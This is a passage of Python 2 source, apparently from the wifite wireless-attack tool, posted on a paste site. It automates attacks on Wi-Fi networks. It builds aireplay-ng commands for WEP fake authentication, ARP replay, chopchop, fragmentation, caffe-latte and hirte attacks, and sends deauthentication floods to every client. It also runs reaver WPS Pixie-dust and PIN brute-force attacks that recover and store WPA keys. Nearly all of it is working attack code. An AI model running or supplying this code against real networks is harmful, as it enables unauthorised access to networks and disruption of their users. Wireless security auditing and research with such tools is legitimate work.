  2924. G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2925. self.RUN_CONFIG.WEP_FINDINGS.append(
  2926. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2927. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2928.  
  2929. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2930. t.key = key
  2931. self.RUN_CONFIG.save_cracked(t)
  2932.  
  2933. # Kill processes
  2934. send_interrupt(proc_airodump)
  2935. send_interrupt(proc_aireplay)
  2936. send_interrupt(proc_aircrack)
  2937. # Remove files generated by airodump/aireplay/packetforce
  2938. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2939. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2940. return True
  2941.  
  2942. # Keyboard interrupt during attack
  2943. except KeyboardInterrupt:
  2944. print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
  2945.  
  2946. send_interrupt(proc_airodump)
  2947. if proc_aireplay != None:
  2948. send_interrupt(proc_aireplay)
  2949. if proc_aircrack != None:
  2950. send_interrupt(proc_aircrack)
  2951.  
  2952. options = []
  2953. selections = []
  2954. if remaining_attacks > 0:
  2955. options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
  2956. (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
  2957. selections.append(G + 'c' + W)
  2958.  
  2959. if self.RUN_CONFIG.TARGETS_REMAINING > 0:
  2960. options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
  2961. (O, W, self.RUN_CONFIG.TARGETS_REMAINING,
  2962. 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
  2963. selections.append(O + 's' + W)
  2964.  
  2965. options.append('%sexit%s the program completely' % (R, W))
  2966. selections.append(R + 'e' + W)
  2967.  
  2968. if len(options) > 1:
  2969. # Ask user what they want to do, Store answer in "response"
  2970. print GR + ' [+]' + W + ' what do you want to do?'
  2971. response = ''
  2972. while response != 'c' and response != 's' and response != 'e':
  2973. for option in options:
  2974. print ' %s' % option
  2975. response = raw_input(
  2976. GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
  2977. else:
  2978. response = 'e'
  2979.  
  2980. if response == 'e' or response == 's':
  2981. # Exit or skip target (either way, stop this attack)
  2982. if self.RUN_CONFIG.WEP_SAVE:
  2983. # Save packets
  2984. save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
  2985. '-') + '.cap' + W
  2986. try:
  2987. rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as)
  2988. except OSError:
  2989. print R + ' [!]' + O + ' unable to save capture file!' + W
  2990. else:
  2991. print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
  2992.  
  2993. # Remove files generated by airodump/aireplay/packetforce
  2994. for filename in os.listdir('.'):
  2995. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  2996. remove_file(filename)
  2997. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2998. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2999. print ''
  3000. if response == 'e':
  3001. self.RUN_CONFIG.exit_gracefully(0)
  3002. return
  3003.  
  3004. elif response == 'c':
  3005. # Continue attacks
  3006. # Need to backup temp/wep-01.cap and remove airodump files
  3007. i = 2
  3008. while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'):
  3009. i += 1
  3010. copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap')
  3011. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3012.  
  3013. # Need to restart airodump-ng, as it's been interrupted/killed
  3014. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  3015.  
  3016. # Say we haven't started cracking yet, so we re-start if needed.
  3017. started_cracking = False
  3018.  
  3019. # Reset IVs counters for proper behavior
  3020. total_ivs += ivs
  3021. ivs = 0
  3022. last_ivs = 0
  3023.  
  3024. # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
  3025. pass
  3026.  
  3027. if successful:
  3028. print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
  3029. else:
  3030. print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
  3031.  
  3032. send_interrupt(proc_airodump)
  3033. if proc_aireplay != None:
  3034. send_interrupt(proc_aireplay)
  3035.  
  3036. # Remove files generated by airodump/aireplay/packetforce
  3037. for filename in os.listdir('.'):
  3038. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  3039. remove_file(filename)
  3040. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3041. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  3042.  
  3043. def wep_fake_auth(self, iface, target, time_to_display):
  3044. """
  3045. Attempt to (falsely) authenticate with a WEP access point.
  3046. Gives 3 seconds to make each 5 authentication attempts.
  3047. Returns True if authentication was successful, False otherwise.
  3048. """
  3049. max_wait = 3 # Time, in seconds, to allow each fake authentication
  3050. max_attempts = 5 # Number of attempts to make
  3051.  
  3052. for fa_index in xrange(1, max_attempts + 1):
  3053. print '\r ',
  3054. print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  3055. (GR + time_to_display + W, G, W, fa_index, max_attempts),
  3056. stdout.flush()
  3057.  
  3058. cmd = ['aireplay-ng',
  3059. '--ignore-negative-one',
  3060. '-1', '0', # Fake auth, no delay
  3061. '-a', target.bssid,
  3062. '-T', '1'] # Make 1 attempt
  3063. if target.ssid != '':
  3064. cmd.append('-e')
  3065. cmd.append(target.ssid)
  3066. cmd.append(iface)
  3067.  
  3068. proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  3069. started = time.time()
  3070. while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
  3071. if time.time() - started > max_wait:
  3072. send_interrupt(proc_fakeauth)
  3073. print R + 'failed' + W,
  3074. stdout.flush()
  3075. time.sleep(0.5)
  3076. continue
  3077.  
  3078. result = proc_fakeauth.communicate()[0].lower()
  3079. if result.find('switching to shared key') != -1 or \
  3080. result.find('rejects open system'): pass
  3081. if result.find('association successful') != -1:
  3082. print G + 'success!' + W
  3083. return True
  3084.  
  3085. print R + 'failed' + W,
  3086. stdout.flush()
  3087. time.sleep(0.5)
  3088. continue
  3089. print ''
  3090. return False
  3091.  
  3092. def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
  3093. """
  3094. Returns aireplay-ng command line arguments based on parameters.
  3095. """
  3096. cmd = ''
  3097. if attack_num == 0:
  3098. cmd = ['aireplay-ng',
  3099. '--ignore-negative-one',
  3100. '--arpreplay',
  3101. '-b', target.bssid,
  3102. '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second
  3103. if client_mac != '':
  3104. cmd.append('-h')
  3105. cmd.append(client_mac)
  3106. elif len(clients) > 0:
  3107. cmd.append('-h')
  3108. cmd.append(clients[0].bssid)
  3109. cmd.append(iface)
  3110.  
  3111. elif attack_num == 1:
  3112. cmd = ['aireplay-ng',
  3113. '--ignore-negative-one',
  3114. '--chopchop',
  3115. '-b', target.bssid,
  3116. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  3117. '-m', '60', # Minimum packet length (bytes)
  3118. '-n', '82', # Maxmimum packet length
  3119. '-F'] # Automatically choose the first packet
  3120. if client_mac != '':
  3121. cmd.append('-h')
  3122. cmd.append(client_mac)
  3123. elif len(clients) > 0:
  3124. cmd.append('-h')
  3125. cmd.append(clients[0].bssid)
  3126. cmd.append(iface)
  3127.  
  3128. elif attack_num == 2:
  3129. cmd = ['aireplay-ng',
  3130. '--ignore-negative-one',
  3131. '--fragment',
  3132. '-b', target.bssid,
  3133. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  3134. '-m', '100', # Minimum packet length (bytes)
  3135. '-F'] # Automatically choose the first packet
  3136. if client_mac != '':
  3137. cmd.append('-h')
  3138. cmd.append(client_mac)
  3139. elif len(clients) > 0:
  3140. cmd.append('-h')
  3141. cmd.append(clients[0].bssid)
  3142. cmd.append(iface)
  3143.  
  3144. elif attack_num == 3:
  3145. cmd = ['aireplay-ng',
  3146. '--ignore-negative-one',
  3147. '--caffe-latte',
  3148. '-b', target.bssid]
  3149. if len(clients) > 0:
  3150. cmd.append('-h')
  3151. cmd.append(clients[0].bssid)
  3152. cmd.append(iface)
  3153.  
  3154. elif attack_num == 4:
  3155. cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
  3156. 'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
  3157.  
  3158. elif attack_num == 5:
  3159. if len(clients) == 0:
  3160. print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
  3161. return ''
  3162. cmd = ['aireplay-ng',
  3163. '--ignore-negative-one',
  3164. '--cfrag',
  3165. '-h', clients[0].bssid,
  3166. iface]
  3167.  
  3168. return cmd
  3169.  
  3170. def wep_send_deauths(self, iface, target, clients):
  3171. """
  3172. Sends deauth packets to broadcast and every client.
  3173. """
  3174. # Send deauth to broadcast
  3175. cmd = ['aireplay-ng',
  3176. '--ignore-negative-one',
  3177. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3178. '-a', target.bssid,
  3179. iface]
  3180. call(cmd, stdout=DN, stderr=DN)
  3181. # Send deauth to every client
  3182. for client in clients:
  3183. cmd = ['aireplay-ng',
  3184. '--ignore-negative-one',
  3185. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3186. '-a', target.bssid,
  3187. '-h', client.bssid,
  3188. iface]
  3189. call(cmd, stdout=DN, stderr=DN)
  3190.  
  3191.  
  3192. #################
  3193. # WPS FUNCTIONS #
  3194. #################
  3195. class WPSAttack(Attack):
  3196. def __init__(self, iface, target, config):
  3197. self.iface = iface
  3198. self.target = target
  3199. self.RUN_CONFIG = config
  3200.  
  3201. def RunAttack(self):
  3202. '''
  3203. Abstract method for initializing the WPS attack
  3204. '''
  3205. if self.is_pixie_supported():
  3206. # Try the pixie-dust attack
  3207. if self.attack_wps_pixie():
  3208. # If it succeeds, stop
  3209. return True
  3210.  
  3211. # Drop out if user specified to run ONLY the pixie attack
  3212. if self.RUN_CONFIG.PIXIE:
  3213. return False
  3214.  
  3215. # Try the WPS PIN attack
  3216. return self.attack_wps()
  3217.  
  3218. def EndAttack(self):
  3219. '''
  3220. Abstract method for ending the WPS attack
  3221. '''
  3222. pass
  3223.  
  3224. def is_pixie_supported(self):
  3225. '''
  3226. Checks if current version of Reaver supports the pixie-dust attack
  3227. '''
  3228. p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)
  3229. stdout = p.communicate()[1]
  3230. for line in stdout.split('\n'):
  3231. if '--pixie-dust' in line:
  3232. return True
  3233. return False
  3234.  
  3235. def attack_wps_pixie(self):
  3236. """
  3237. Attempts "Pixie WPS" attack which certain vendors
  3238. susceptible to.
  3239. """
  3240.  
  3241. # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x")
  3242. # If not, return False
  3243.  
  3244. print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \
  3245. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3246. cmd = ['reaver',
  3247. '-i', self.iface,
  3248. '-b', self.target.bssid,
  3249. '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
  3250. '-c', self.target.channel,
  3251. '-s', 'n',
  3252. '-K', '1', # Pixie WPS attack
  3253. '-vv'] # verbose output
  3254.  
  3255. # Redirect stderr to output file
  3256. errf = open(self.RUN_CONFIG.temp + 'pixie.out', 'a')
  3257. # Start process
  3258. proc = Popen(cmd, stdout=errf, stderr=errf)
  3259.  
  3260. cracked = False # Flag for when password/pin is found
  3261. time_started = time.time()
  3262. pin = ''
  3263. key = ''
  3264.  
  3265. try:
  3266. while not cracked:
  3267. time.sleep(1)
  3268. errf.flush()
  3269. if proc.poll() != None:
  3270. # Process stopped: Cracked? Failed?
  3271. errf.close()
  3272. inf = open(self.RUN_CONFIG.temp + 'pixie.out', 'r')
  3273. lines = inf.read().split('\n')
  3274. inf.close()
  3275. for line in lines:
  3276. # When it's cracked:
  3277. if line.find("WPS PIN: '") != -1:
  3278. pin = line[line.find("WPS PIN: '") + 10:-1]
  3279. if line.find("WPA PSK: '") != -1:
  3280. key = line[line.find("WPA PSK: '") + 10:-1]
  3281. cracked = True
  3282. # When it' failed:
  3283. if 'Pixie-Dust' in line and 'WPS pin not found' in line:
  3284. # PixieDust isn't possible on this router
  3285. print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W)
  3286. break
  3287. break
  3288.  
  3289. print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G),
  3290. # Check if there's an output file to parse
  3291. if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3292. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3293. lines = inf.read().split('\n')
  3294. inf.close()
  3295.  
  3296. output_line = ''
  3297. for line in lines:
  3298. line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()
  3299. if line == '' or line == ' ' or line == '\t': continue
  3300. if len(line) > 50:
  3301. # Trim to a reasonable size
  3302. line = line[0:47] + '...'
  3303. output_line = line
  3304.  
  3305. if 'Sending M2 message' in output_line:
  3306. # At this point in the Pixie attack, all output is via stderr
  3307. # We have to wait for the process to finish to see the result.
  3308. print O, 'attempting to crack and fetch psk... ', W,
  3309. elif output_line != '':
  3310. # Print the last message from reaver as a "status update"
  3311. print C, output_line, W, ' ' * (50 - len(output_line)),
  3312.  
  3313. stdout.flush()
  3314.  
  3315. # Clear out output file
  3316. inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3317. inf.close()
  3318.  
  3319. # End of big "while not cracked" loop
  3320. if cracked:
  3321. if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  3322. if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3323. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3324. G + self.target.ssid + W, C + key + W, C + pin + W))
  3325. self.RUN_CONFIG.WPA_FINDINGS.append('')
  3326.  
  3327. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3328. t.key = key
  3329. t.wps = pin
  3330. self.RUN_CONFIG.save_cracked(t)
  3331.  
  3332. except KeyboardInterrupt:
  3333. print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W
  3334. if attack_interrupted_prompt():
  3335. send_interrupt(proc)
  3336. print ''
  3337. self.RUN_CONFIG.exit_gracefully(0)
  3338.  
  3339. send_interrupt(proc)
  3340.  
  3341. # Delete the files
  3342. os.remove(self.RUN_CONFIG.temp + "out.out")
  3343. os.remove(self.RUN_CONFIG.temp + "pixie.out")
  3344. return cracked
  3345.  
  3346.  
  3347. def attack_wps(self):
  3348. """
  3349. Mounts attack against target on iface.
  3350. Uses "reaver" to attempt to brute force the PIN.
  3351. Once PIN is found, PSK can be recovered.
  3352. PSK is displayed to user and added to WPS_FINDINGS
  3353. """
  3354. print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
  3355. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3356.  
  3357. cmd = ['reaver',
  3358. '-i', self.iface,
  3359. '-b', self.target.bssid,
  3360. '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
  3361. '-a', # auto-detect best options, auto-resumes sessions, doesn't require input!
  3362. '-c', self.target.channel,
  3363. # '--ignore-locks',
  3364. '-vv'] # verbose output
  3365. proc = Popen(cmd, stdout=DN, stderr=DN)
  3366.  
  3367. cracked = False # Flag for when password/pin is found
  3368. percent = 'x.xx%' # Percentage complete
  3369. aps = 'x' # Seconds per attempt
  3370. time_started = time.time()
  3371. last_success = time_started # Time of last successful attempt
  3372. last_pin = '' # Keep track of last pin tried (to detect retries)
  3373. retries = 0 # Number of times we have attempted this PIN
  3374. tries_total = 0 # Number of times we have attempted all pins
  3375. tries = 0 # Number of successful attempts
  3376. pin = ''
  3377. key = ''
  3378.  
  3379. try:
  3380. while not cracked:
  3381. time.sleep(1)
  3382.  
  3383. if proc.poll() != None:
  3384. # Process stopped: Cracked? Failed?
  3385. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3386. lines = inf.read().split('\n')
  3387. inf.close()
  3388. for line in lines:
  3389. # When it's cracked:
  3390. if line.find("WPS PIN: '") != -1:
  3391. pin = line[line.find("WPS PIN: '") + 10:-1]
  3392. if line.find("WPA PSK: '") != -1:
  3393. key = line[line.find("WPA PSK: '") + 10:-1]
  3394. cracked = True
  3395.  
  3396. break
  3397.  
  3398. if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3399.  
  3400. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3401. lines = inf.read().split('\n')
  3402. inf.close()
  3403.  
  3404. for line in lines:
  3405. if line.strip() == '': continue
  3406. # Status
  3407. if line.find(' complete @ ') != -1 and len(line) > 8:
  3408. percent = line.split(' ')[1]
  3409. i = line.find(' (')
  3410. j = line.find(' seconds/', i)
  3411. if i != -1 and j != -1: aps = line[i + 2:j]
  3412. # PIN attempt
  3413. elif line.find(' Trying pin ') != -1:
  3414. pin = line.strip().split(' ')[-1]
  3415. if pin == last_pin:
  3416. retries += 1
  3417. elif tries_total == 0:
  3418. last_pin = pin
  3419. tries_total -= 1
  3420. else:
  3421. last_success = time.time()
  3422. tries += 1
  3423. last_pin = pin
  3424. retries = 0
  3425. tries_total += 1
  3426.  
  3427. # Warning
  3428. elif line.endswith('10 failed connections in a row'):
  3429. pass
  3430.  
  3431. # Check for PIN/PSK
  3432. elif line.find("WPS PIN: '") != -1:
  3433. pin = line[line.find("WPS PIN: '") + 10:-1]
  3434. elif line.find("WPA PSK: '") != -1:
  3435. key = line[line.find("WPA PSK: '") + 10:-1]
  3436. cracked = True
  3437. if cracked: break
  3438.  
  3439. print ' %s WPS attack, %s success/ttl,' % \
  3440. (GR + sec_to_hms(time.time() - time_started) + W, \
  3441. G + str(tries) + W + '/' + O + str(tries_total) + W),
  3442.  
  3443. if percent == 'x.xx%' and aps == 'x':
  3444. print '\r',
  3445. else:
  3446. print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W),
  3447.  
  3448. if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
  3449. print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
  3450. self.RUN_CONFIG.WPS_TIMEOUT)
  3451. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3452. break
  3453.  
  3454. if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
  3455. print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
  3456. self.RUN_CONFIG.WPS_MAX_RETRIES)
  3457. print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
  3458. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3459. break
  3460.  
  3461. if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
  3462. float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
  3463. print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
  3464. self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
  3465. print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
  3466. break
  3467.  
  3468. stdout.flush()
  3469. # Clear out output file if bigger than 1mb
  3470. inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3471. inf.close()
  3472.  
  3473. # End of big "while not cracked" loop
  3474.  
  3475. if cracked:
  3476. if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  3477. if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3478. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3479. G + self.target.ssid + W, C + key + W, C + pin + W))
  3480. self.RUN_CONFIG.WPA_FINDINGS.append('')
  3481.  
  3482. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3483. t.key = key
  3484. t.wps = pin
  3485. self.RUN_CONFIG.save_cracked(t)
  3486.  
  3487. except KeyboardInterrupt:
  3488. print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
  3489. if attack_interrupted_prompt():
  3490. send_interrupt(proc)
  3491. print ''
  3492. self.RUN_CONFIG.exit_gracefully(0)
  3493.  
  3494. send_interrupt(proc)
  3495.  
  3496. return cracked
  3497.  
  3498.  
  3499. if __name__ == '__main__':
  3500. RUN_CONFIG = RunConfiguration()
  3501. try:
  3502. banner(RUN_CONFIG)
  3503. engine = RunEngine(RUN_CONFIG)
  3504. engine.Start()
  3505. #main(RUN_CONFIG)
  3506. except KeyboardInterrupt:
  3507. print R + '\n (^C)' + O + ' interrupted\n' + W
  3508. except EOFError:
  3509. print R + '\n (^D)' + O + ' interrupted\n' + W
  3510.  
  3511. RUN_CONFIG.exit_gracefully(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement